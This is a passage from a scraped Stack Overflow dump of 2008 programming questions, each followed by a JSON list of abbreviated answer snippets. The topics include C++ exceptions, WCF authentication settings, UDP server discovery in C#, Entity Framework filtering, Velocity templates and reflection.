bad_alloc lives. Assuming these libraries are not compiled with MFC or ATL, and are written in standard C++ only, can they expect to catch bad_alloc? Or will the presence of MFC in the application they link to infect them with the global new operator and render their attempts to fail cleanly on a bad allocation moot?</p> <p>If you have an answer, could you explain how this works, or point me to the right reference to sort this out?</p>
[ { "answer_id": 213988, "author": "Head Geek", "author_id": 12193, "author_profile": "https://Stackoverflow.com/users/12193", "pm_score": 1, "selected": false, "text": "new" }, { "answer_id": 214093, "author": "Henk", "author_id": 4613, "author_profile": "https://Stackoverflow.com/users/4613", "pm_score": 3, "selected": true, "text": "operator new" }, { "answer_id": 35895167, "author": "otto", "author_id": 6040134, "author_profile": "https://Stackoverflow.com/users/6040134", "pm_score": 0, "selected": false, "text": "AfxSetNewHandler(_PNH pfnNewHandler)" }, { "answer_id": 35896110, "author": "otto", "author_id": 6040345, "author_profile": "https://Stackoverflow.com/users/6040345", "pm_score": 1, "selected": false, "text": "class CException;" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213952", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9224/" ]
213,953
<p>I recently ran into a problem that I thought boost::lambda or boost::phoenix could help be solve, but I was not able to get the syntax right and so I did it another way. What I wanted to do was remove all the elements in "strings" that were less than a certain length and not in another container.</p> <p>This is my first try:</p> <pre><code>std::vector&lt;std::string&gt; strings = getstrings(); std::set&lt;std::string&gt; others = getothers(); strings.erase(std::remove_if(strings.begin(), strings.end(), (_1.length() &lt; 24 &amp;&amp; others.find(_1) == others.end())), strings.end()); </code></pre> <p>How I ended up doing it was this:</p> <pre><code>struct Discard { bool operator()(std::set&lt;std::string&gt; &amp;cont, const std::string &amp;s) { return cont.find(s) == cont.end() &amp;&amp; s.length() &lt; 24; } }; lines.erase(std::remove_if( lines.begin(), lines.end(), boost::bind&lt;bool&gt;(Discard(), old_samples, _1)), lines.end()); </code></pre>
[ { "answer_id": 214222, "author": "Adam Mitz", "author_id": 2574, "author_profile": "https://Stackoverflow.com/users/2574", "pm_score": 3, "selected": true, "text": "bind(&string::length, _1) < 24\n" }, { "answer_id": 214273, "author": "Head Geek", "author_id": 12193, "author_profile": "https://Stackoverflow.com/users/12193", "pm_score": 2, "selected": false, "text": "bind" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213953", "https://Stackoverflow.com", "https://Stackoverflow.com/users/29049/" ]
213,958
<p>What new features in java 7 is going to be implemented? And what are they doing now?</p>
[ { "answer_id": 6640059, "author": "didxga", "author_id": 231010, "author_profile": "https://Stackoverflow.com/users/231010", "pm_score": 8, "selected": false, "text": "BufferedReader br = new BufferedReader(new FileReader(path));\ntry {\n return br.readLine();\n} finally {\n br.close();\n}\n" }, { "answer_id": 8148022, "author": "Muhammad Imran Tariq", "author_id": 420613, "author_profile": "https://Stackoverflow.com/users/420613", "pm_score": -1, "selected": false, "text": "Swing\nIO and New IO\nNetworking\nSecurity\nConcurrency Utilities\nRich Internet Applications (RIA)/Deployment\n Requesting and Customizing Applet Decoration in Dragg able Applets\n Embedding JNLP File in Applet Tag\n Deploying without Codebase\n Handling Applet Initialization Status with Event Handlers\nJava 2D\nJava XML – JAXP, JAXB, and JAX-WS\nInternationalization\njava.lang Package\n Multithreaded Custom Class Loaders in Java SE 7\nJava Programming Language\n Binary Literals\n Strings in switch Statements\n The try-with-resources Statement\n Catching Multiple Exception Types and Rethrowing Exceptions with Improved Type Checking\n Underscores in Numeric Literals\n Type Inference for Generic Instance Creation\n Improved Compiler Warnings and Errors When Using Non-Reifiable Formal Parameters with Varargs Methods\nJava Virtual Machine (JVM)\n Java Virtual Machine Support for Non-Java Languages\n Garbage-First Collector\n Java HotSpot Virtual Machine Performance Enhancements\nJDBC\n" }, { "answer_id": 8456108, "author": "apresh", "author_id": 1091130, "author_profile": "https://Stackoverflow.com/users/1091130", "pm_score": 4, "selected": false, "text": "List<String> l = new ArrayList<>();\nl.add(\"A\");\nl.addAll(new ArrayList<>());\n" }, { "answer_id": 24487649, "author": "Soumyaansh", "author_id": 1017917, "author_profile": "https://Stackoverflow.com/users/1017917", "pm_score": 1, "selected": false, "text": "-Project Coin (small changes)\n-switch on Strings\n-try-with-resources\n-diamond operator\n" }, { "answer_id": 50356666, "author": "Amit", "author_id": 540195, "author_profile": "https://Stackoverflow.com/users/540195", "pm_score": 0, "selected": false, "text": "Map<String, List<Trade>> trades = new TreeMap <> ();\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213958", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
213,978
<p>I was running my first Visual Studio 2008 Unit Test with a WCF Service and I received the following error:</p> <blockquote> <p>Test method UnitTest.ServiceUnitTest.TestMyService threw exception: System.ServiceModel.Security.MessageSecurityException: The HTTP request is unauthorized with client authentication scheme 'Anonymous'. The authentication header received from the server was 'Negotiate,NTLM'. ---> System.Net.WebException: The remote server returned an error: (401) Unauthorized..</p> </blockquote> <p>I am also getting the following failed audit in the security log:</p> <blockquote> <p>Logon Failure: Reason: The user has not been granted the requested logon type at this machine<br /> User Name: (Internet Guest Account)<br /> Domain: <br /> Logon Type: 3 <br /> Logon Process: IIS <br /> Authentication Package: <br /> MICROSOFT_AUTHENTICATION_PACKAGE_V1_0<br /> Workstation Name: </p> </blockquote> <p>I am hosting the WCF service in IIS 6.0 on a Windows XP SP3 machine. I have both the "Anonymous Access" and "Integrated Windows authentication" checked for the WCF service virtual directory.</p> <p>Here is my config file for the service:</p> <pre><code>&lt;system.serviceModel&gt; &lt;services&gt; &lt;bindings&gt; &lt;basicHttpBinding&gt; &lt;binding name="MyBinding"&gt; &lt;security mode="None" /&gt; &lt;/binding&gt; &lt;/basicHttpBinding&gt; &lt;customBinding&gt; &lt;binding name="MyBinding"&gt; &lt;transactionFlow /&gt; &lt;textMessageEncoding /&gt; &lt;httpsTransport authenticationScheme="Ntlm"/&gt; &lt;/binding&gt; &lt;/customBinding&gt; &lt;wsHttpBinding&gt; &lt;binding name="MyBinding"&gt; &lt;security mode="None" /&gt; &lt;/binding&gt; &lt;/wsHttpBinding&gt; &lt;/bindings&gt; &lt;service behaviorConfiguration="Service1Behavior" name="Service1" &gt; &lt;endpoint address="" binding="wsHttpBinding" bindingConfiguration="MyBinding" contract="IService1" &gt; &lt;identity&gt; &lt;dns value="localhost" /&gt; &lt;/identity&gt; &lt;/endpoint&gt; &lt;/service&gt; &lt;/services&gt; &lt;behaviors&gt; &lt;serviceBehaviors&gt; &lt;behavior name="Service1Behavior"&gt; &lt;serviceMetadata httpGetEnabled="true" /&gt; &lt;serviceDebug includeExceptionDetailInFaults="false" /&gt; &lt;/behavior&gt; &lt;/serviceBehaviors&gt; &lt;/behaviors&gt; &lt;/system.serviceModel&gt; </code></pre>
[ { "answer_id": 213989, "author": "Karg", "author_id": 12685, "author_profile": "https://Stackoverflow.com/users/12685", "pm_score": 1, "selected": false, "text": "<system.serviceModel>\n <bindings>\n <wsHttpBinding>\n <binding name=\"myBinding\">\n <security mode=\"None\" />\n </binding>\n </bindings>\n</system.serviceModel>\n" }, { "answer_id": 231253, "author": "Michael Kniskern", "author_id": 26327, "author_profile": "https://Stackoverflow.com/users/26327", "pm_score": 4, "selected": true, "text": "<system.serviceModel>\n <bindings>\n <basicHttpBinding>\n <binding name=\"windowsBasicHttpBinding\">\n <security mode=\"TransportCredentialOnly\">\n <transport clientCredentialType=\"Windows\" />\n </security>\n </binding>\n </basicHttpBinding>\n </bindings>\n <services>\n <service \n behaviorConfiguration=\"CityOfMesa.ApprovalRouting.WCFService.RoutingServiceBehavior\"\n name=\"CityOfMesa.ApprovalRouting.WCFService.RoutingService\"\n >\n <endpoint \n binding=\"basicHttpBinding\" bindingConfiguration=\"windowsBasicHttpBinding\"\n name=\"basicEndPoint\" \n contract=\"CityOfMesa.ApprovalRouting.WCFService.IRoutingService\" \n />\n </service>\n </services>\n <behaviors>\n <serviceBehaviors>\n <behavior \n name=\"CityOfMesa.ApprovalRouting.WCFService.RoutingServiceBehavior\"\n >\n <serviceMetadata httpGetEnabled=\"true\" />\n <serviceDebug includeExceptionDetailInFaults=\"true\" />\n </behavior>\n </serviceBehaviors>\n </behaviors>\n</system.serviceModel>\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213978", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26327/" ]
213,985
<p>I have a co-worker that swears by</p> <pre><code>//in a singleton "Constants" class public static final String EMPTY_STRING = ""; </code></pre> <p>in a constants class available throughout the project. That way, we can write something like</p> <pre><code>if (Constants.EMPTY_STRING.equals(otherString)) { ... } </code></pre> <p>instead of </p> <pre><code>if ("".equals(otherString)) { ... } </code></pre> <p>I say it's </p> <ol> <li>not worth it--it doesn't save any space in the heap/stack/string pool,</li> <li>ugly</li> <li>abuse of a constants class.</li> </ol> <p>Who is the idiot here?</p>
[ { "answer_id": 213997, "author": "David G", "author_id": 3150, "author_profile": "https://Stackoverflow.com/users/3150", "pm_score": 2, "selected": false, "text": "if (otherString.length() == 0)" }, { "answer_id": 214001, "author": "Douglas Squirrel", "author_id": 29121, "author_profile": "https://Stackoverflow.com/users/29121", "pm_score": 4, "selected": false, "text": "0 == possiblyEmptyString.length()\n" }, { "answer_id": 214069, "author": "John Nilsson", "author_id": 24243, "author_profile": "https://Stackoverflow.com/users/24243", "pm_score": 1, "selected": false, "text": "public class StaticUtils\n{\n public static boolean empty(CharSequence cs)\n {\n return cs == null || cs.length() == 0;\n }\n\n public static boolean has(CharSequence cs)\n {\n return !empty(cs);\n }\n}\n" }, { "answer_id": 214502, "author": "ddimitrov", "author_id": 18187, "author_profile": "https://Stackoverflow.com/users/18187", "pm_score": 2, "selected": false, "text": "if (Constants.FORM_FIELD_NOT_SET.equals(form.getField(\"foobar\"))) {\n ...\n}\n" }, { "answer_id": 1589007, "author": "RHSeeger", "author_id": 26816, "author_profile": "https://Stackoverflow.com/users/26816", "pm_score": 2, "selected": false, "text": "import org.apache.commons.lang.StringUtils;\n\n// Check if a String is whitespace, empty (\"\") or null.\nStringUtils.isBlank(mystr); \n// Check if a String is empty (\"\") or null.\nStringUtils.isEmpty(mystr); \n" }, { "answer_id": 4358045, "author": "Antony Booth", "author_id": 312957, "author_profile": "https://Stackoverflow.com/users/312957", "pm_score": 0, "selected": false, "text": "stringVariable = \"\";\n" }, { "answer_id": 4358133, "author": "Antony Booth", "author_id": 312957, "author_profile": "https://Stackoverflow.com/users/312957", "pm_score": 2, "selected": false, "text": "const int MODE_READ = 0x000000FF;\nconst int MODE_EXECUTE = 0x00FF0000;\nconst int MODE_WRITE = 0x0000FF00;\nconst int MODE_READ_WRITE = 0x0000FFFF;\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213985", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1318/" ]
214,009
<p>As kind of a followup to <a href="https://stackoverflow.com/questions/210446/what-is-the-best-way-for-a-client-app-to-find-a-server-on-a-local-network-in-c">this question</a> I've gotten a solution working on my local machine, but not on a machine on the network.</p> <p>I don't know too much about sockets other than that basics, so bear with me. The goal is for a client to look for a server on a local network, and this is the result of some cut/paste/edit code. </p> <p>This is the client code:</p> <pre><code>IPEndPoint ipep = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 10294); byte[] data = new byte[1024]; public Form1() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); client.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.MulticastTimeToLive, 10); string welcome = "What's your IP?"; data = Encoding.ASCII.GetBytes(welcome); client.SendTo(data, data.Length, SocketFlags.None, ipep); IPEndPoint server = new IPEndPoint(IPAddress.Any, 0); EndPoint tmpRemote = (EndPoint)server; data = new byte[1024]; int recv = client.ReceiveFrom(data, ref tmpRemote); this.IP.Text = ((IPEndPoint)tmpRemote).Address.ToString(); //set textbox this.Port.Text = Encoding.ASCII.GetString(data, 0, recv); //set textbox client.Close(); } </code></pre> <p>This is the server code:</p> <pre><code>int recv; byte[] data = new byte[1024]; IPEndPoint ipep = new IPEndPoint(IPAddress.Any, 10294); Socket newsock = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); newsock.Bind(ipep); newsock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.AddMembership, new MulticastOption(IPAddress.Any,IPAddress.Parse("127.0.0.1"))); while (true) { Console.WriteLine("Waiting for a client..."); IPEndPoint sender = new IPEndPoint(IPAddress.Any, 0); EndPoint tmpRemote = (EndPoint)(sender); data = new byte[1024]; recv = newsock.ReceiveFrom(data, ref tmpRemote); Console.WriteLine("Message received from {0}:", tmpRemote.ToString()); Console.WriteLine(Encoding.ASCII.GetString(data, 0, recv)); string welcome = "7010"; data = Encoding.ASCII.GetBytes(welcome); newsock.SendTo(data, data.Length, SocketFlags.None, tmpRemote); } </code></pre> <p>It works find on my local machine (both server and client) but when I try another machine on the same network I get "An existing connection was forcibly closed by the remote host"</p> <p>I realize I need to add a lot of try/catch but I'm just trying to get a handle on how this works first.</p>
[ { "answer_id": 214629, "author": "Andrew Edgecombe", "author_id": 11694, "author_profile": "https://Stackoverflow.com/users/11694", "pm_score": 3, "selected": true, "text": "ipep" }, { "answer_id": 2382669, "author": "ForbesLindesay", "author_id": 272958, "author_profile": "https://Stackoverflow.com/users/272958", "pm_score": -1, "selected": false, "text": "IPEndPoint ipep = new IPEndPoint(IPAddress.Parse(\"127.0.0.1\"), 10294);\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/214009", "https://Stackoverflow.com", "https://Stackoverflow.com/users/23822/" ]
214,017
<p>Consider I'm interfacing with an external system that will send a message (DB table, message queue, web service) in some format. In the "message header" there is the "MessageType" that is a number from 1 to 20. The MessageType defines what to do with the rest of the message. There are things like new, modified, deleted, canceled...</p> <p>My first inclination was to setup an enumeration and define all the types. Then parse the number into an enum type. With it as an enum I would setup the typical switch case system and call a particular method for each of the message types.</p> <p>One big concern is maintenance.<br> A switch / case system is bulky and teadious but, it's really simple.<br> Various table / configuration systems can be difficult for someone else to grok and add new messages or tweak existing messages.</p> <p>For 12 or so MessageTypes the switch/case system seems quite reasonable. What would be a reasonable cut-off point to switch to a table driven system?</p> <p>What kinds of systems are considered best for handling these types of problems?</p> <p>I'm setting a tag for both C# and Java here because it's definitly a common problem. There are many other languages with the same issue.</p>
[ { "answer_id": 214032, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 3, "selected": false, "text": "switch (messageType)\n{\n case 0: HandleLogin(message); break;\n case 50: SaveCurrentDocument(message); break;\n case 100: HandleLogout(message); break;\n}\n" }, { "answer_id": 214073, "author": "Vivek", "author_id": 7418, "author_profile": "https://Stackoverflow.com/users/7418", "pm_score": 1, "selected": false, "text": "Dictionary<MessageType, ProcessMessageDelegate>" }, { "answer_id": 214206, "author": "Robert Rossney", "author_id": 19403, "author_profile": "https://Stackoverflow.com/users/19403", "pm_score": 0, "selected": false, "text": "IMessageHandler" }, { "answer_id": 214603, "author": "ddimitrov", "author_id": 18187, "author_profile": "https://Stackoverflow.com/users/18187", "pm_score": 1, "selected": false, "text": "interface MessageHandler {\n void processMessage(Message msg) throws Exception;\n int[] queryInterestingMessageIds();\n int queryPriority(int messageId); // this one is optional\n}\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/214017", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2862/" ]
214,037
<p>I really like Entity Framework, but there are some key pieces that are a challenge to me. Can anyone tell me how to filter an EntityDataSource on an Association column? EF hides the FK values and instead has an Association property. Given an Entity, Person, with a PersonType association, I would have expected something like this to work if I want to filter my Person Entity by Type:</p> <pre><code>GridDataSource.EntityTypeFilter = "it.PersonType.PersonTypeID = 1"; </code></pre> <p>or</p> <pre><code>GridDataSource.Where = "it.PersonType.PersonTypeID = '1'"; </code></pre> <p>or even</p> <pre><code>GridDataSource.WhereParameters.Add(new Parameter("it.PersonType.PersonTypeID", DbType.Object, "1")); </code></pre> <p>but none of those work. Anybody know how to do this?</p>
[ { "answer_id": 639287, "author": "Davy Landman", "author_id": 11098, "author_profile": "https://Stackoverflow.com/users/11098", "pm_score": 0, "selected": false, "text": "var personType = new PersonType { Id = 1 };\nvar query = PersonDataSource.Where(p => p.PersonType.Equals(personType));\n// use this query as the DataSource for your GridView\n" }, { "answer_id": 674782, "author": "Keck", "author_id": 78699, "author_profile": "https://Stackoverflow.com/users/78699", "pm_score": 2, "selected": true, "text": "entities.it.Include(\"PersonType\").Where(a => a.PersonType.PersonTypeID = '1');\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/214037", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16426/" ]
214,045
<p>A couple of recent questions discuss strategies for naming columns, and I was rather surprised to discover the concept of embedding the notion of foreign and primary keys in column names. That is</p> <pre><code>select t1.col_a, t1.col_b, t2.col_z from t1 inner join t2 on t1.id_foo_pk = t2.id_foo_fk </code></pre> <p>I have to confess I have never worked on any database system that uses this sort of scheme, and I'm wondering what the benefits are. The way I see it, once you've learnt the N principal tables of a system, you'll write several orders of magnitude more requests with those tables.</p> <p>To become productive in development, you'll need to learn which tables are the important tables, and which are simple tributaries. You'll want to commit an good number of column names to memory. And one of the basic tasks is to join two tables together. To reduce the learning effort, the easiest thing to do is to ensure that the column name is the same in both tables:</p> <pre><code>select t1.col_a, t1.col_b, t2.col_z from t1 inner join t2 on t1.id_foo = t2.id_foo </code></pre> <p>I posit that, as a developer, you don't need to be reminded that much about which columns are primary keys, which are foreign and which are nothing. It's easy enough to look at the schema if you're curious. When looking at a random</p> <pre><code>tx inner join ty on tx.id_bar = ty.id_bar </code></pre> <p>... is it all that important to know which one is the foreign key? Foreign keys are important only to the database engine itself, to allow it to ensure referential integrity and do the right thing during updates and deletes.</p> <p>What problem is being solved here? (I know this is an invitation to discuss, and feel free to do so. But at the same time, I <em>am</em> looking for an answer, in that I may be genuinely missing something).</p>
[ { "answer_id": 214155, "author": "Bill Karwin", "author_id": 20860, "author_profile": "https://Stackoverflow.com/users/20860", "pm_score": 4, "selected": true, "text": "SELECT * FROM foo JOIN bar USING (foo_id);\n" }, { "answer_id": 214250, "author": "Mike Woodhouse", "author_id": 1060, "author_profile": "https://Stackoverflow.com/users/1060", "pm_score": 3, "selected": false, "text": "customer.id = order.customer_id" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/214045", "https://Stackoverflow.com", "https://Stackoverflow.com/users/18625/" ]
214,059
<p>I just learned about <a href="http://ngrep.sourceforge.net/" rel="nofollow noreferrer">ngrep</a>, a cool program that lets you easily sniff packets that match a particular string.</p> <p>The only problem is that it can be hard to see the match in the big blob of output. I'd like to write a wrapper script to highlight these matches -- it could use ANSI escape sequences:</p> <pre><code>echo -e 'This is \e[31mRED\e[0m.' </code></pre> <p>I'm most familiar with Perl, but I'm perfectly happy with a solution in Python or any other language. The simplest approach would be something like:</p> <pre><code>while (&lt;STDIN&gt;) { s/$keyword/\e[31m$keyword\e[0m/g; print; } </code></pre> <p>However, this isn't a nice solution, because ngrep prints out hash marks without newlines whenever it receives a non-matching packet, and the code above will suppress the printing of these hashmarks until the script sees a newline.</p> <p>Is there any way to do the highlighting without inhibiting the instant appearance of the hashmarks?</p>
[ { "answer_id": 214186, "author": "raldi", "author_id": 7598, "author_profile": "https://Stackoverflow.com/users/7598", "pm_score": 3, "selected": true, "text": "--- ngrep.c 2006-11-28 05:38:43.000000000 -0800\n+++ ngrep.c.new 2008-10-17 16:28:29.000000000 -0700\n@@ -687,8 +687,7 @@\n }\n\n if (quiet < 1) {\n- printf(\"#\");\n- fflush(stdout);\n+ fprintf (stderr, \"#\");\n }\n\n switch (ip_proto) { \n" }, { "answer_id": 214198, "author": "Alex Coventry", "author_id": 1941213, "author_profile": "https://Stackoverflow.com/users/1941213", "pm_score": 0, "selected": false, "text": "#!/usr/bin/env python\nimport sys, re\n\nkeyword = 'RED'\n\nwhile 1:\n c = sys.stdin.read(1)\n if not c:\n break\n if c in '#\\n':\n sys.stdout.write(c)\n else:\n sys.stdout.write(\n (c+sys.stdin.readline()).replace(\n keyword, '\\x1b[31m%s\\x1b[0m\\r' % keyword))\n" }, { "answer_id": 214782, "author": "dland", "author_id": 18625, "author_profile": "https://Stackoverflow.com/users/18625", "pm_score": 2, "selected": false, "text": "#! /usr/bin/perl\n\nuse strict;\nuse warnings;\n\n$| = 1; # autoflush on\n\nmy $keyword = shift or die \"No pattern specified\\n\";\nmy $cache = '';\n\nwhile (read STDIN, my $ch, 1) {\n if ($ch eq '#') {\n $cache =~ s/($keyword)/\\e[31m$1\\e[0m/g;\n syswrite STDOUT, \"$cache$ch\";\n $cache = '';\n }\n else {\n $cache .= $ch;\n }\n}\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/214059", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7598/" ]
214,065
<p>We're building some software for an in-house Kiosk. The software is a basic .net windows form with an embedded browser. The Kiosk is outfitted with a mat that the user steps on. When the user steps on the mat, it sends a key comination through the keyboard. When the user steps off the mat it sends a different key combination.</p> <p>What we want to do is look for the key combination in our app, and based on if the user steps on or off, cause the browser to go to a different url.</p> <p>How do you hook the keyboard to accomodate this type of situation?</p>
[ { "answer_id": 214167, "author": "Tom Anderson", "author_id": 13502, "author_profile": "https://Stackoverflow.com/users/13502", "pm_score": 3, "selected": true, "text": "protected override bool ProcessCmdKey(ref Message msg, Keys keyData)\n{\n const int WM_KEYDOWN = 0x100;\n const int WM_SYSKEYDOWN = 0x104;\n\n if ((msg.Msg == WM_KEYDOWN) || (msg.Msg == WM_SYSKEYDOWN))\n {\n switch (keyData)\n {\n case Keys.Down:\n this.Text = \"Down Arrow Captured\";\n break;\n\n case Keys.Up:\n this.Text = \"Up Arrow Captured\";\n break;\n\n case Keys.Tab:\n this.Text = \"Tab Key Captured\";\n break;\n\n case Keys.Control | Keys.M:\n this.Text = \"<CTRL> + M Captured\";\n break;\n\n case Keys.Alt | Keys.Z:\n this.Text = \"<ALT> + Z Captured\";\n break;\n }\n }\n\n return base.ProcessCmdKey(ref msg, keyData);\n}\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/214065", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9266/" ]
214,072
<p>Can anyone reccomend some good tutorials for ext js and adobe air? The ones I have seen seem to start with you knowing a lot or already having a lot of code in place.</p> <p>What I am looking for is a simple step by step guide that takes you through the basics of Ext Js in use with adobe air, in fact i suppose just a good Ext Js tutorial for begginers would be handy I just cant find anything.</p> <p>Im looking to build a desktop app and need to get on it quickly, but Js is my weakness and the app has some complexity (dont they always!!).</p> <p>So Question - What are the best Ext Js tutorials for begginners (preferbly with some adobe air thrown in, but not essentiall, one step at a time ;))</p>
[ { "answer_id": 214167, "author": "Tom Anderson", "author_id": 13502, "author_profile": "https://Stackoverflow.com/users/13502", "pm_score": 3, "selected": true, "text": "protected override bool ProcessCmdKey(ref Message msg, Keys keyData)\n{\n const int WM_KEYDOWN = 0x100;\n const int WM_SYSKEYDOWN = 0x104;\n\n if ((msg.Msg == WM_KEYDOWN) || (msg.Msg == WM_SYSKEYDOWN))\n {\n switch (keyData)\n {\n case Keys.Down:\n this.Text = \"Down Arrow Captured\";\n break;\n\n case Keys.Up:\n this.Text = \"Up Arrow Captured\";\n break;\n\n case Keys.Tab:\n this.Text = \"Tab Key Captured\";\n break;\n\n case Keys.Control | Keys.M:\n this.Text = \"<CTRL> + M Captured\";\n break;\n\n case Keys.Alt | Keys.Z:\n this.Text = \"<ALT> + Z Captured\";\n break;\n }\n }\n\n return base.ProcessCmdKey(ref msg, keyData);\n}\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/214072", "https://Stackoverflow.com", "https://Stackoverflow.com/users/28241/" ]
214,077
<p>I was wondering if there is some way to name or rename a property on an Anonymous type to include a space in the property name. For example:</p> <pre><code>var resultSet = from customer in customerList select new { FirstName = customer.firstName; }; </code></pre> <p>In this example I would like FirstName to be "First Name". The reason for this question, is I have a user control that exposes a public DataSource property that I bind to different anonymous type. It is working perfectly right now, except for the one little shortcoming of the column names being a little less than user friendly (FirstName instead of First Name).</p>
[ { "answer_id": 214216, "author": "tvanfosson", "author_id": 12950, "author_profile": "https://Stackoverflow.com/users/12950", "pm_score": 4, "selected": true, "text": "var resultSet = from customer in customerList\n select new \n {\n Value = customer.firstName,\n Title = \"First Name\"\n };\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/214077", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7215/" ]
214,086
<p>If I have a method such as:</p> <pre><code>public void MyMethod(int arg1, string arg2) </code></pre> <p>How would I go about getting the actual names of the arguments? I can't seem to find anything in the MethodInfo which will actually give me the name of the parameter.</p> <p>I would like to write a method which looks like this:</p> <pre><code>public static string GetParamName(MethodInfo method, int index) </code></pre> <p>So if I called this method with:</p> <pre><code>string name = GetParamName(MyMethod, 0) </code></pre> <p>it would return "arg1". Is this possible?</p>
[ { "answer_id": 214106, "author": "Tom Anderson", "author_id": 13502, "author_profile": "https://Stackoverflow.com/users/13502", "pm_score": 7, "selected": true, "text": "public static string GetParamName(System.Reflection.MethodInfo method, int index)\n{\n string retVal = string.Empty;\n\n if (method != null && method.GetParameters().Length > index)\n retVal = method.GetParameters()[index].Name;\n\n\n return retVal;\n}\n" }, { "answer_id": 214108, "author": "Jeremy", "author_id": 9266, "author_profile": "https://Stackoverflow.com/users/9266", "pm_score": 3, "selected": false, "text": "foreach(ParameterInfo pParameter in pMethod.GetParameters())\n{\n //Position of parameter in method\n pParameter.Position;\n\n //Name of parameter type\n pParameter.ParameterType.Name;\n\n //Name of parameter\n pParameter.Name;\n}\n" }, { "answer_id": 214125, "author": "kͩeͣmͮpͥ ͩ", "author_id": 26479, "author_profile": "https://Stackoverflow.com/users/26479", "pm_score": 2, "selected": false, "text": "public static string GetParameterName ( Delegate method , int index )\n{\n return method.Method.GetParameters ( ) [ index ].Name ;\n}\n" }, { "answer_id": 40632926, "author": "Warren Parad", "author_id": 5091874, "author_profile": "https://Stackoverflow.com/users/5091874", "pm_score": 2, "selected": false, "text": "nameof(arg1)" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/214086", "https://Stackoverflow.com", "https://Stackoverflow.com/users/646/" ]
214,094
<p>Say you have a standard template with included (parsed) header, body, footer templates.</p> <p>In the body template a variable like $subject is defined and you want that also displayed in the header template.</p> <p>In some other template languages like HTML::Mason(perl based) you would evaluate the body template first to pick up the $subject variable but store it's output temporarily in a variable so your final output could end up in the correct order (header, body, footer)</p> <p>In velocity it would look something like</p> <p>set ($body=#parse("body.vm"))</p> <p>parse("header.vm")</p> <p>${body}</p> <p>parse("footer.vm")</p> <p>This however doesn't seem to work, any thoughts on how to do this?</p>
[ { "answer_id": 243258, "author": "Olly", "author_id": 1174, "author_profile": "https://Stackoverflow.com/users/1174", "pm_score": 2, "selected": false, "text": "application.vm" }, { "answer_id": 249353, "author": "Dov Wasserman", "author_id": 26010, "author_profile": "https://Stackoverflow.com/users/26010", "pm_score": 0, "selected": false, "text": "$subject" }, { "answer_id": 252478, "author": "Will Glass", "author_id": 32978, "author_profile": "https://Stackoverflow.com/users/32978", "pm_score": 3, "selected": false, "text": "set ($body=\"#parse('body.vm')\")\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/214094", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
214,109
<p>I was getting bad data from an application I was writting using C++ in Visual Studio 2k3 so I decided to debug it. Then I found it was throwing an exception but one I can't track down.</p> <p>Then I placed some try/catch blocks and low and behold, when I don't debug there is no exception. That is, I have code that looks like this:</p> <p><code><pre> std::vector&lt;MyClass*&gt; ListOfStuff; . . . try { . . . const MyClass * localPointer = ListOfStuff[i]; //This is where the exception occurs . . } catch (...) { int x = 0; //place break here } </pre></code> So if I step through the code line by line I'll get an exception and shot to the catch. But if I just let it run with a breakpoint inside the catch nothing happens. Using an iterator has the same behavior. And I can successfully check the size of the vector so I know I'm within the bounds. <br> Can anyone tell me what's going on? If it matters I'm using some standard windows libraries and openGL.</p>
[ { "answer_id": 214120, "author": "Doug T.", "author_id": 8123, "author_profile": "https://Stackoverflow.com/users/8123", "pm_score": 1, "selected": false, "text": "#ifdef DEBUG\n#define ASSERT(cond) if (cond) throw CDebugAssertionObj;\n#else\n#define ASSERT(cond)\n#endif\n" }, { "answer_id": 214134, "author": "Michael Burr", "author_id": 12711, "author_profile": "https://Stackoverflow.com/users/12711", "pm_score": 2, "selected": false, "text": "DebugBreak();\n" }, { "answer_id": 214417, "author": "Adam Rosenfield", "author_id": 9530, "author_profile": "https://Stackoverflow.com/users/9530", "pm_score": 0, "selected": false, "text": "ListOfStuff" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/214109", "https://Stackoverflow.com", "https://Stackoverflow.com/users/23829/" ]
214,124
<p>Anyone know of a good free winforms html editor for .NET. Ideally I would like html and preview modes along with the possibility of exporting to a pdf, word doc or similar. </p> <p>Although the export I could probably create myself from the html output.</p> <p>Another nice feature would be a paste from word that removes all the extra tags you usually end up with but again it's a nice to have not a required.</p>
